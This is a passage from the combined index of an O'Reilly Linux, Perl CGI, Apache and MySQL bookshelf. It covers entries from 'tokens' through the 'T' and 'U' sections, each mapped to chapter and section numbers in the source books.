tokens, indicating end of here documents: 5.4.2. Here Documents (CGI Programming with Perl)
tolower command (gawk): 13.8. Alphabetical Summary of Commands (Linux in a Nutshell)
tools for development, standardizing: 16.2. Coding Guidelines (CGI Programming with Perl)
tooltips, displaying
Enlightenment window manager: 15.4.9.3. Behavior (Linux in a Nutshell)
KDE: 16.3.1.4. Panel (Linux in a Nutshell)
Sawfish window manager: 15.4.8.4. Miscellaneous (Linux in a Nutshell)
top command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
top-level domains in email addresses: 9.2.1. Validating Syntax (CGI Programming with Perl)
Torvalds, Linus: 1.2. A Brief History of Linux (Running Linux)
1.6. About Linux's Copyright (Running Linux)
7.4. Building a New Kernel (Running Linux)
toString( ) method: 22. JDBC Reference (MySQL & mSQL)
22. JDBC Reference (MySQL & mSQL)
22. JDBC Reference (MySQL & mSQL)
touch command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
toupper command (gawk): 13.8. Alphabetical Summary of Commands (Linux in a Nutshell)
to_uri_path function: 12.3.1. Search Application (CGI Programming with Perl)
tperiod variable (csh/tcsh): 8.4.3. Predefined Shell Variables (Linux in a Nutshell)
tr( ) function: 18.2. Lite (MySQL & mSQL)
18.2. Lite (MySQL & mSQL)
tr command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
trace( ): 4.6.2. Tracing DBI Execution (Programming the Perl DBI)
A.3.1. DBI Class Methods (Programming the Perl DBI)
argument forms: 4.6.2. Tracing DBI Execution (Programming the Perl DBI)
handle tracing: 4.6.2. Tracing DBI Execution (Programming the Perl DBI)
trace function: 21.2. DBI.pm API (MySQL & mSQL)
TRACE method (HTTP): 4.1.2. What Is an HTTP Method? (Apache: The Definitive Guide)
traceroute command (TCP/IP): 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
tracing programs: 14.1.1. Tracing a Program (Running Linux)
tracking changes to CGI applications: 16.1.1. Plan for Future Growth (CGI Programming with Perl)
tracking users: 11. Maintaining State (CGI Programming with Perl)
trackpads with LinuxPPC: D.6.2. PowerBook Trackpads (Running Linux)
training: A.15. Training (Programming the Perl DBI)
transaction handling: 6.3. Transactions, Locking, and Isolation (Programming the Perl DBI)
ACID properties: 6.3. Transactions, Locking, and Isolation (Programming the Perl DBI)
auto-commit mechanism: 6.3.1. Automatic Transaction Handling (Programming the Perl DBI)
automatic: 6.3.1. Automatic Transaction Handling (Programming the Perl DBI)
automatic error handling (example): 6.3.5. Combining Automatic Error Handling with Transactions (Programming the Perl DBI)
disconnecting from databases: 6.3.4. Disconnecting, One Way or Another (Programming the Perl DBI)
forcing a commit: 6.3.2. Forcing a Commit (Programming the Perl DBI)
rolling back changes: 6.3.3. Rolling Back Changes (Programming the Perl DBI)
types of: 6.3.1. Automatic Transaction Handling (Programming the Perl DBI)
transaction management: 8.2. Data Processing (MySQL & mSQL)
transaction rollback capability: 3.4.4. Committing and Rolling Back Modifications (Programming the Perl DBI)
transactions: 7.2.1. Transactions (MySQL & mSQL)
transfer errors, file uploads and: 5.2.4. File Uploads with CGI.pm (CGI Programming with Perl)
TransferLog directive: 11.5.2. TransferLog (Apache: The Definitive Guide)
transferring files: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
transferring files with Zmodem: H. Zmodem File Transfer (Running Linux)
translating files between Windows and Linux: 12.1.5. File Translation Utilities (Running Linux)
translating URLs to names: 15.3.9. Translate Name (Apache: The Definitive Guide)
translations, of documentation: A.13. Translations (Programming the Perl DBI)
Transmission Control Protocol (TCP): 15.1.1. TCP/IP Concepts (Running Linux)
15.1.1. TCP/IP Concepts (Running Linux)
(see also TCP/IP)
transparency
GIF format, support for: 13.1.1. GIF (CGI Programming with Perl)
JPEG format, lacking support for: 13.1.3. JPEG (CGI Programming with Perl)
PNG format support for: 13.1.2. PNG (CGI Programming with Perl)
transports file: 16.2.1.7. smail runtime configuration files (Running Linux)
transposing text, Emacs commands for: 10.3.6. Transposition Commands (Linux in a Nutshell)
Trantor T128 SCSI interfaces: 3.1.1. Booting Linux (Running Linux)
trap command (bash): 7.7. Built-in Commands (Linux in a Nutshell)
trapping die function: 5.5.1.1. Trapping die (CGI Programming with Perl)
trapping fatal calls: 15.2.4. Trap die (CGI Programming with Perl)
triggers: 7.2.2. Triggers (MySQL & mSQL)
TRIM( ) function: 15.1. MySQL SQL (MySQL & mSQL)
Trivial File Transfer Protocol (TFTP): 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
Troan, Erik: B.2. A Brief History of the GNOME Project (Running Linux)
troff: 9.3.2. groff (Running Linux)
14.2.10. Indenting Code (Running Linux)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
trojan horses: 7.2.3. Upgrading Other Software (Running Linux)
troubleshooting: 9.4.1. Command-Line Options (CGI Programming with Perl)
14.1.2. Examining a Core File (Running Linux)
(see also debugging)
Apache security precautions: 13.2. Apache's Security Precautions (Apache: The Definitive Guide)
bash shell: 7.3.3. Command-line Editing (Linux in a Nutshell)
Emacs editor: 10.2. Typical Problems (Linux in a Nutshell)
errors, different levels of SQL submission: 10.4.2.1. Address book database creation script (CGI Programming with Perl)
filesystems: 6.1.5. Checking and Repairing Filesystems (Running Linux)
8.6.1. Repairing Filesystems (Running Linux)
hardware: 3.3.2. Hardware Problems (Running Linux)
imagemaps: 7.3.2. Imap Errors (Apache: The Definitive Guide)
Linux installation: 3.3. Running Into Trouble (Running Linux)
log files and: 8.3. Managing System Logs (Running Linux)
logging errors: 11.5.1. ErrorLog (Apache: The Definitive Guide)
logging in: 3.3.4.3. Problems logging in (Running Linux)
MSQL: 5. mSQL (MySQL & mSQL)
networks: 15.1.3.8. Trying out your network (Running Linux)
PPP configuration: 15.2.1.3.4. Troubleshooting PPP Configuration (Running Linux)
prerun mixups to modules: 15.3.16. Prerun Fixups (Apache: The Definitive Guide)
printer system: 8.4.14. Printer System Troubleshooting (Running Linux)
proxy server configuration: 9.3. Setup (Apache: The Definitive Guide)
software installation: 3.3.3. Problems Installing the Software (Running Linux)
spelling of URLs: 8.9. Speling (Apache: The Definitive Guide)
12.10. Miscellaneous (Apache: The Definitive Guide)
SSL: 13.6.7. Site.SSL (Apache: The Definitive Guide)
suEXEC utility: 4.7. suEXEC on Unix (Apache: The Definitive Guide)
synchronous PPP: 15.3.3. And If It Does Not Work? (Running Linux)
system emergencies: 8.6. What to Do in an Emergency (Running Linux)
TCP/IP: 2.3.5. Troubleshooting TCP/IP (Linux in a Nutshell)
X Window Server: 10.7. Running Into Trouble (Running Linux)
true command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
TrueType fonts: 13.5.4. Image Processing (CGI Programming with Perl)
TRUNCATE( ) function: 15.1. MySQL SQL (MySQL & mSQL)
TRUNCATE TABLE SQL statement: 3.4.2. Deleting Data (Programming the Perl DBI)
truncating long values: 6.1.4. Common Attributes (Programming the Perl DBI)
6.2. Handling LONG/LOB Data (Programming the Perl DBI)
trusted users, sendmail: 9.4.1. Command-Line Options (CGI Programming with Perl)
truth tables: 3.3.2. Queries and Condition Clauses (Programming the Perl DBI)
<tt> HTML tag: 16.1.4.6. More HTML features (Running Linux)
ttys# and ttyS# files: 8.4.1. Checking Printer Hardware (Running Linux)
tune2fs command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
tunelp command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
8.4.13. Printer Optimization (Running Linux)
8.4.14. Printer System Troubleshooting (Running Linux)
twm window manager: 1.5.5. The X Window System (Running Linux)
11.2. The fvwm Window Manager (Running Linux)
.twmrc file: 4.15. Startup Files (Running Linux)
two-system commit: 6.3.5. Combining Automatic Error Handling with Transactions (Programming the Perl DBI)
twzJdbcForMysql utility: 4.5.2.4. Programming interfaces (MySQL & mSQL)
TYPE attribute: 4.2.3. The <INPUT> Tag (CGI Programming with Perl)
type attribute (HTML): 16.1.5.1. The HTML form document (Running Linux)
type checker: 15.3.15. Type Checker (Apache: The Definitive Guide)
type command (bash): 7.7. Built-in Commands (Linux in a Nutshell)
*_TYPE function: 21.3. Msql.pm API (MySQL & mSQL)
type-map handler: 4.8. Handlers (Apache: The Definitive Guide)
type maps: 6.4. Type Maps (Apache: The Definitive Guide)
TYPE statement handle attribute: 6.1.7. Statement Handle Attributes or Statement Metadata (Programming the Perl DBI)
A.7.2. Statement Handle Attributes (Programming the Perl DBI)
type_info( ): A.6.1. Database Handle Methods (Programming the Perl DBI)
type_info_all( ): A.6.1. Database Handle Methods (Programming the Perl DBI)
Types interface: 22. JDBC Reference (MySQL & mSQL)
TypesConfig directive: 6.1.1. TypesConfig (Apache: The Definitive Guide)
typeset command (bash): 7.7. Built-in Commands (Linux in a Nutshell)
typing shortcuts (see keyboard shortcuts)
4.8. Filename Expansion (Running Linux)
11.2.2. More Customizations (Running Linux)
key bindings: 9.2.8. Tailoring Emacs (Running Linux)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Index: U

-unique_headers flag: 5.5.3. Error Subroutines (CGI Programming with Perl)
-u flag (Apache: The Definitive Guide): 2.2. Apache's Flags (apache)
UCASE( ) function: 15.1. MySQL SQL (MySQL & mSQL)
UDP (User Datagram Protocol): 15.1.1. TCP/IP Concepts (Running Linux)
UFS filesystem: 6.1.1. Filesystem Types (Running Linux)
uid (see users)
UIDs (user IDs), NFS, NIS and: 15.4.1. Configuring NFS (Running Linux)
UINT datatype: 15.2. mSQL SQL (MySQL & mSQL)
<ul> HTML tag: 16.1.4.6. More HTML features (Running Linux)
ul command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
ulimit command (bash): 7.7. Built-in Commands (Linux in a Nutshell)
ultra-thin clients: 8.4. The Three-tier Architecture (MySQL & mSQL)
UltraSPARC systems: F.1.4. UltraSPARC 64-bit Systems (Running Linux)
F.5. SPARC-specific Issues After Installation (Running Linux)
umask( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
18.2. Lite (MySQL & mSQL)
18.2. Lite (MySQL & mSQL)
umask command (bash): 7.7. Built-in Commands (Linux in a Nutshell)
umask command (csh/tcsh): 8.9. Built-in csh and tcsh Commands (Linux in a Nutshell)
UML (Unified Modeling Language): 13.2. Object-oriented Database Access in C++ (MySQL & mSQL)
umount command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
6.1.2. Mounting Filesystems (Running Linux)
UMSDOS filesystem: 6.1.1. Filesystem Types (Running Linux)
unabbreviate command (ex): 11.13. Alphabetical Summary of ex Commands (Linux in a Nutshell)
"unable to get hostbyname" error: 2.4. Setting Up a Unix Server (Apache: The Definitive Guide)
unalias command (bash): 7.7. Built-in Commands (Linux in a Nutshell)
unalias command (csh/tcsh): 8.9. Built-in csh and tcsh Commands (Linux in a Nutshell)
uname command: 7.4. Building a New Kernel (Running Linux)
uname2id( ): 14.6.13. User and Group Functions (Apache: The Definitive Guide)
unblock_alarms( ): 14.6.16. Timeout and Alarm Functions (Apache: The Definitive Guide)
unbuffering output stream: 15.2.6. Unbuffer Output Stream (CGI Programming with Perl)
uncomplete command (tcsh): 8.9. Built-in csh and tcsh Commands (Linux in a Nutshell)
uncompress command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
uncompress program: 7.1.1. Using gzip and bzip2 (Running Linux)
uncompressing (see compression, file)
uncompressing files (see compression)
undef vs. ( ): 17.1.5. undef Versus ( ) (CGI Programming with Perl)
underscores (_)
filenames, replacing characters with: 5.2.4. File Uploads with CGI.pm (CGI Programming with Perl)
nonalphanumeric parameter name characters, replacing with: 5.2.3. Exporting Parameters to a Namespace (CGI Programming with Perl)
use in Perl: 16.2. Coding Guidelines (CGI Programming with Perl)
underscores/underlining: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
undo command (Emacs): 11.4.7. Emacs (Running Linux)
undo command (ex): 11.13. Alphabetical Summary of ex Commands (Linux in a Nutshell)
undoing edits (vi editor): 9.1.3. Deleting Text and Undoing Changes (Running Linux)
undoing, Emacs commands for: 10.3.5. Stopping and Undoing Commands (Linux in a Nutshell)
unedit command (CVS): 14.4.7.21. unedit (Linux in a Nutshell)
unescape_url( ): 14.6.12. Path, Filename, and URL Manipulation Functions (Apache: The Definitive Guide)
unexpand command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
unformatted menus: 7.3.5. ImapMenu (Apache: The Definitive Guide)
unhash command (csh/tcsh): 8.9. Built-in csh and tcsh Commands (Linux in a Nutshell)
Unicode-compliant data transport, XML: 14.2. An Introduction to XML (CGI Programming with Perl)
Uniform Resource Locators (URLs): 16.1. The World Wide Web (Running Linux)
uniq command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
uniqid( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
UNIQUE attribute: 15.1. MySQL SQL (MySQL & mSQL)
unique identifiers (see primary keys)
generating for sessions: 11.2. Hidden Fields (CGI Programming with Perl)
in hidden field: 11.2. Hidden Fields (CGI Programming with Perl)
inserting into HTML documents, module for: 11.1. Query Strings and Extra Path Information (CGI Programming with Perl)
mod_unique_id module, building with: 11.1. Query Strings and Extra Path Information (CGI Programming with Perl)
passing with HTTP requests: 11. Maintaining State (CGI Programming with Perl)
unique_id_child_init( ): 15.3.7.1. Example (Apache: The Definitive Guide)
UNIREG: 1.4.2. The History of MySQL (MySQL & mSQL)
Unisys patent on LZW compression algorithm: 13.1.1.1. The LZW patent (CGI Programming with Perl)
University Ingres: 7.3. PostgreSQL (MySQL & mSQL)
Unix: 1.1. The Excitement of Linux (Linux in a Nutshell)
1.2. A Brief History of Linux (Running Linux)
commands: 1.5.1. Basic Commands and Utilities (Running Linux)
4. Basic Unix Commands and Concepts (Running Linux)
commercial implementations of: 1.8.4. Other Implementations of Unix (Running Linux)
Perl language: 13.4. Using Perl (Running Linux)
UNIX file systems: 4.4.1.1. Database creation (MySQL & mSQL)
Unix operating system
binmode function, not supporting: 13.2.1.1. binmode (CGI Programming with Perl)
ColdFusion language, versions for: 1.3.2. Alternatives to CGI (CGI Programming with Perl)
commands to locate perl: 15.1.2. The Pound-Bang (CGI Programming with Perl)
configuring server: 2.4. Setting Up a Unix Server (Apache: The Definitive Guide)
DBM files: 5.5.1. DBM Files on Unix (Apache: The Definitive Guide)
executable files, commands for: 1.2.2. Invoking CGI Scripts (CGI Programming with Perl)
executables, differentiating in filesystem: 1.2.2. Invoking CGI Scripts (CGI Programming with Perl)
file limits: 3.6.6. Unix File Limits (Apache: The Definitive Guide)
file permissions: 10.1.2. Write Permissions (CGI Programming with Perl)
forward slashes (/) separating directories: 12.3.1. Search Application (CGI Programming with Perl)
making Apache: 1.8.5. Making Apache (Apache: The Definitive Guide)
multiple IP addresses: 1.3.1. Multiple Sites: Unix (Apache: The Definitive Guide)
passwords: 5.3. Passwords Under Unix (Apache: The Definitive Guide)
Perl
linefeed and carriage return, representing on: 3.3.1.1. Outputting documents (CGI Programming with Perl)
speediness on: 1.3.1. Why Perl? (CGI Programming with Perl)
permissions: 2.4.4. Unix Permissions (Apache: The Definitive Guide)
restarting Apache: 3.12. Restarts (Apache: The Definitive Guide)
sendmail on: 9.4. sendmail (CGI Programming with Perl)
suEXEC wrapper: 4.7. suEXEC on Unix (Apache: The Definitive Guide)
uptime command: 13.3.2. Using GD (CGI Programming with Perl)
variables (see environment variables)
versions of: 1.6. Which Unix? (Apache: The Definitive Guide)
virtual hosts: 3.6. Controlling Virtual Hosts on Unix (Apache: The Definitive Guide)
UNIX socket: 4.4.1.4. Server status (MySQL & mSQL)
UNIX version of mSQL: 5.3. Installing mSQL (MySQL & mSQL)
UNIX_Port variable: 16.2.2.1. general (MySQL & mSQL)
unixtime2( ) function: 18.2. Lite (MySQL & mSQL)
18.2. Lite (MySQL & mSQL)
UNIX_TIMESTAMP( ) function: 15.1. MySQL SQL (MySQL & mSQL)
unlimit command (csh/tcsh): 8.9. Built-in csh and tcsh Commands (Linux in a Nutshell)
unlink( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
18.2. Lite (MySQL & mSQL)
18.2. Lite (MySQL & mSQL)
unloading modules: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
UNLOCK statement: 15.1. MySQL SQL (MySQL & mSQL)
unmap command (ex): 11.13. Alphabetical Summary of ex Commands (Linux in a Nutshell)
unmask command: 4.14. Changing the Owner, Group, and Permissions (Running Linux)
unmounting filesystems: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
6.1.2. Mounting Filesystems (Running Linux)
unnumbered lists in HTML: 16.1.4.6. More HTML features (Running Linux)
unpack( ): 2.4.1. Querying Data (Programming the Perl DBI)
Data::Dumper module and: 2.5.1. The Perl Data::Dumper Module (Programming the Perl DBI)
Perl objects and: 2.7.3.2. Packing in Perl objects (Programming the Perl DBI)
unpacked directory (on CD-ROM): 0.2. The Demonstration CD-ROM (Apache: The Definitive Guide)
unpacking (see compression)
unsafe option (LILO): G.2. Image Options (Running Linux)
unset( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
unset command (bash): 7.7. Built-in Commands (Linux in a Nutshell)
unset command (csh/tcsh): 8.9. Built-in csh and tcsh Commands (Linux in a Nutshell)
unseten command (csh/tcsh): 8.9. Built-in csh and tcsh Commands (Linux in a Nutshell)
unsetenv command (csh/tcsh): 8.9. Built-in csh and tcsh Commands (Linux in a Nutshell)
unshar command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
UNSIGNED attribute: 6.3. SQL Datatypes (MySQL & mSQL)
15.1. MySQL SQL (MySQL & mSQL)
unsolicited bulk email (see spam)
unstr command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
untainting data: 8.4.3. How Taintedness Is Removed (CGI Programming with Perl)
fgrep command search: 12.1. Searching One by One (CGI Programming with Perl)
until command (bash): 7.7. Built-in Commands (Linux in a Nutshell)
untying hash tables from database files: 10.2.1. DB_File (CGI Programming with Perl)
up|upd commands (CVS) (see update command (CVS))
up command (lpc): 8.4.12. Controlling Printer Services with lpc (Running Linux)
update command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
update command (CVS): 14.4.7.22. update (Linux in a Nutshell)
status codes: 14.4.7.22. update (Linux in a Nutshell)
Update Log: 4.4.2. Backups (MySQL & mSQL)
update program: 5.5. Shutting Down the System (Running Linux)
update query screen: 10.4.2.2. Address book CGI script (CGI Programming with Perl)
UPDATE SQL statement: 3.4.3. Updating Data (Programming the Perl DBI)
UPDATE statement: 10.4. MysqlPerl (MySQL & mSQL)
15.1. MySQL SQL (MySQL & mSQL)
15.2. mSQL SQL (MySQL & mSQL)
updateAsciiStream( ) method: 22. JDBC Reference (MySQL & mSQL)
updateBigDecimal( ) method: 22. JDBC Reference (MySQL & mSQL)
updateBinaryStream( ) method: 22. JDBC Reference (MySQL & mSQL)
updateBoolean( ) method: 22. JDBC Reference (MySQL & mSQL)
updateByte( ) method: 22. JDBC Reference (MySQL & mSQL)
updateBytes( ) method: 22. JDBC Reference (MySQL & mSQL)
updateCharacterStream( ) method: 22. JDBC Reference (MySQL & mSQL)
updateDate( ) method: 22. JDBC Reference (MySQL & mSQL)
updateDouble( ) method: 22. JDBC Reference (MySQL & mSQL)
updateFloat( ) method: 22. JDBC Reference (MySQL & mSQL)
updateInt( ) method: 22. JDBC Reference (MySQL & mSQL)
updateLong( ) method: 22. JDBC Reference (MySQL & mSQL)
updateNull( ) method: 22. JDBC Reference (MySQL & mSQL)
updateObject( ) method: 22. JDBC Reference (MySQL & mSQL)
Update.prog file (CVS): 14.4.4.3. CVS directories (Linux in a Nutshell)
updateRow( ) method: 22. JDBC Reference (MySQL & mSQL)
updateShort( ) method: 22. JDBC Reference (MySQL & mSQL)
updateString( ) method: 22. JDBC Reference (MySQL & mSQL)
updateTime( ) method: 22. JDBC Reference (MySQL & mSQL)
updateTimestamp( ) method: 22. JDBC Reference (MySQL & mSQL)
updating databases: 10.3.4. Updating Data (CGI Programming with Perl)
updating HTML documents with links: 5.3.1.4. Specifying an alternative target (CGI Programming with Perl)
upgrading: 7.2. Upgrading Software (Running Linux)
compiler: 7.2.2. Upgrading the Compiler (Running Linux)
kernel patches: 7.4.1.2. Applying patches (Running Linux)
libraries: 7.2.1. Upgrading Libraries (Running Linux)
upload method (CGI.pm): 5.2.4. File Uploads with CGI.pm (CGI Programming with Perl)
UPLOAD_DIR: 5.2.4. File Uploads with CGI.pm (CGI Programming with Perl)
uploading files, handling with CGI.pm: 5.2.4. File Uploads with CGI.pm (CGI Programming with Perl)
UPPER( ) function: 15.1. MySQL SQL (MySQL & mSQL)
uppercase (see case)
uppercase attribute names: 6.1.3. The Significance of Case (Programming the Perl DBI)
uppercase, use in request methods: 2.3.1. The Request Line (CGI Programming with Perl)
UPS debugger: 14.2.1. Debuggers (Running Linux)
UPS (Uninterruptible Power Supply): 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
uptime command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
Uptime, MySQL server status: 4.4.1.4. Server status (MySQL & mSQL)
uptime Unix system command: 13.3.2. Using GD (CGI Programming with Perl)
13.3.2. Using GD (CGI Programming with Perl)
URI module: 14.1.2. IO::Socket (CGI Programming with Perl)
uri_components structure: 14.6.23. URI Functions (Apache: The Definitive Guide)
URIs (Uniform Resource Identifiers): 2.1. URLs (CGI Programming with Perl)
URI::URL module: 2.1.3. URL Encoding (CGI Programming with Perl)
URL-escaped special characters: 10.3. Msql.pm (MySQL & mSQL)
URL handlers, setting (GNOME): 15.4.3.3. URL handlers (Linux in a Nutshell)
URL links
GNOME desktop, adding to: 15.1.1. Adding Desktop Icons (Linux in a Nutshell)
KDE desktop, adding to: 16.1.3. Adding a Link to the Desktop (Linux in a Nutshell)
16.1.3. Adding a Link to the Desktop (Linux in a Nutshell)
setting colors for: 16.3.1.2. File manager (Linux in a Nutshell)
url method (CGI.pm): 5.2.1.6. url (CGI Programming with Perl)
urldecode( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
urlencode( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
url_escape and url_unescape functions: 2.1.3. URL Encoding (CGI Programming with Perl)
URLs (uniform resource locators): 1. Getting Started (Apache: The Definitive Guide)
API functions for: 14.6.12. Path, Filename, and URL Manipulation Functions (Apache: The Definitive Guide)
digest authentication: 5.1. Authentication Protocol (Apache: The Definitive Guide)
5.7. Digest Authentication (Apache: The Definitive Guide)
imagemaps: 7.3.1. ImapBase (Apache: The Definitive Guide)
limiting directives to: 3.3.4. < Location> and < LocationMatch> (Apache: The Definitive Guide)
redirecting upon errors: 3.1.1. ErrorDocument (Apache: The Definitive Guide)
rewriting: 8.8. Rewrite (Apache: The Definitive Guide)
12.9. URL Rewriting (Apache: The Definitive Guide)
spell-checking: 8.9. Speling (Apache: The Definitive Guide)
12.10. Miscellaneous (Apache: The Definitive Guide)
translating to names: 15.3.9. Translate Name (Apache: The Definitive Guide)
URNs (Uniform Resource Names): 2.1. URLs (CGI Programming with Perl)
use command: 17.1. MySQL Utilities (MySQL & mSQL)
use DBI program: 21.2. DBI.pm API (MySQL & mSQL)
use Msql program: 21.3. Msql.pm API (MySQL & mSQL)
use statement: 10.4.1.1. Connecting to DBI (CGI Programming with Perl)
use strict command: 1.2.1. Sample CGI (CGI Programming with Perl)
use vars statement: 10.4.2.2. Address book CGI script (CGI Programming with Perl)
UseCanonicalName directive: 3.4.2. UseCanonicalName (Apache: The Definitive Guide)
Usenet (see news)
USER( ) function: 15.1. MySQL SQL (MySQL & mSQL)
user agent, creating with LWP: 14.1.3. LWP (CGI Programming with Perl)
User-Agent field: 2.3.2.5. User-Agent (CGI Programming with Perl)
User Agent tab, KDE Control Center: 16.3.1.3. Web browser (Linux in a Nutshell)
User Datagram Protocol (UDP): 15.1.1. TCP/IP Concepts (Running Linux)
User directive: 2.4.1.1. User (Apache: The Definitive Guide)
USER environment variable: 16.2.1. Environment Variables (MySQL & mSQL)
user file, user names and encrypted passwords in: 2.3.2.4. Authorization (CGI Programming with Perl)
user groups: 0.1.5. Linux User Groups (Linux in a Nutshell)
user ID: 5.7.1. The passwd File (Running Linux)
5.7.7. Modifying User Accounts (Running Linux)
user interface settings, GNOME: 15.4.7. User Interface (Linux in a Nutshell)
user interfaces: 8.4. The Three-tier Architecture (MySQL & mSQL)
User menu, GNOME: 15.3. The Main Menu (Linux in a Nutshell)
User, MySQL server status: 4.4.1.4. Server status (MySQL & mSQL)
user names: 4.4.3.1. The user table (MySQL & mSQL)
user permissions: 9.4.2. Security (MySQL & mSQL)
user registration form (example): 7.2.1.3. Validation example (CGI Programming with Perl)
user session: 11. Maintaining State (CGI Programming with Perl)
_user system variable: 6.8.2. mSQL Features (MySQL & mSQL)
user table: 4.4.3.1. The user table (MySQL & mSQL)
useradd command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
useradd program: 3.2.1. Creating a User Account (Running Linux)
5.7.5. Creating Accounts (Running Linux)
userdel command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
5.7.6. Deleting and Disabling Accounts (Running Linux)
UserDir directive: 8.5. UserDir (Apache: The Definitive Guide)
16.1.3.2. srm.conf (Running Linux)
usermod command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
5.7.7. Modifying User Accounts (Running Linux)
Username: 5.5.1.4. Server status (MySQL & mSQL)
$username argument: A.3.1. DBI Class Methods (Programming the Perl DBI)
usernames: 2.4.2.10. WWW-Authenticate (CGI Programming with Perl)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
5.7.1. The passwd File (Running Linux)
users: 5.7.4. The Group File (Running Linux)
(see also groups)
accounts: 3.2.1. Creating a User Account (Running Linux)
4.1. Logging In (Running Linux)
5.7. Managing User Accounts (Running Linux)
creating/deleting: 5.7.5. Creating Accounts (Running Linux)
administration commands for: 2.1.15. Users (Linux in a Nutshell)
API functions for: 14.6.13. User and Group Functions (Apache: The Definitive Guide)
authentication and identification (script): 3.4.2. User Authentication and Identification (CGI Programming with Perl)
automatic information on: 5.10. Automatic User Information (Apache: The Definitive Guide)
backing up directories: 8.1.1. Simple Backups (Running Linux)
changing group identification of: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
checking if access allowed: 15.3.13. Check User ID (Apache: The Definitive Guide)
creating: 2.4.1. Webuser and Webgroup (Apache: The Definitive Guide)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
for cron tasks: 8.2. Scheduling Jobs Using cron (Running Linux)
DBM files: 5.5.1. DBM Files on Unix (Apache: The Definitive Guide)
deleting: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
email permissions, security risks of: 9.1.2. False Identities (CGI Programming with Perl)
error information, limiting view of: 5.5.2. CGI::Carp (CGI Programming with Perl)
finger command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
getting information about: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
groups, displaying: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
home directories: 8.5. UserDir (Apache: The Definitive Guide)
input, tainted data, checking for: 8.4.1. How Taint Works (CGI Programming with Perl)
input from
handling securely: 8.2. Handling User Input (CGI Programming with Perl)
untainting: 8.4.3. How Taintedness Is Removed (CGI Programming with Perl)
listing: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
log of those logged in: 8.3. Managing System Logs (Running Linux)
logged-in, report on: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
logging in: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
NIS accounts: 2.7.3. NIS User Accounts (Linux in a Nutshell)
notifying of incoming mail: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
permissions (see permissions)
4.13. File Ownership and Permissions (Running Linux)
root: 5.1. Running the System (Running Linux)
5.7.1. The passwd File (Running Linux)
security and: 13.1. Internal and External Users (Apache: The Definitive Guide)
sending messages to: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
on specific host, listing: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
su command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
talking to: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
tracking: 11. Maintaining State (CGI Programming with Perl)
user ID: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
web servers running as: 9.4.1. Command-Line Options (CGI Programming with Perl)
writing to: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
users command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
users file (CVS): 14.3.3.15. The users file (Linux in a Nutshell)
usleep( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
usleep command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
/usr directory
/usr/bin directory: 4.16. Important Directories (Running Linux)
16.2.1.4. smail EDITME file (Running Linux)
/usr/bin/apsfilter directory: 8.4.9. Magic Filters: APSfilter and Alternatives (Running Linux)
/usr/include directory: 4.16. Important Directories (Running Linux)
/usr/lib directory: 4.16. Important Directories (Running Linux)
8.1.1. Simple Backups (Running Linux)
13.1.7. More Fun with Libraries (Running Linux)
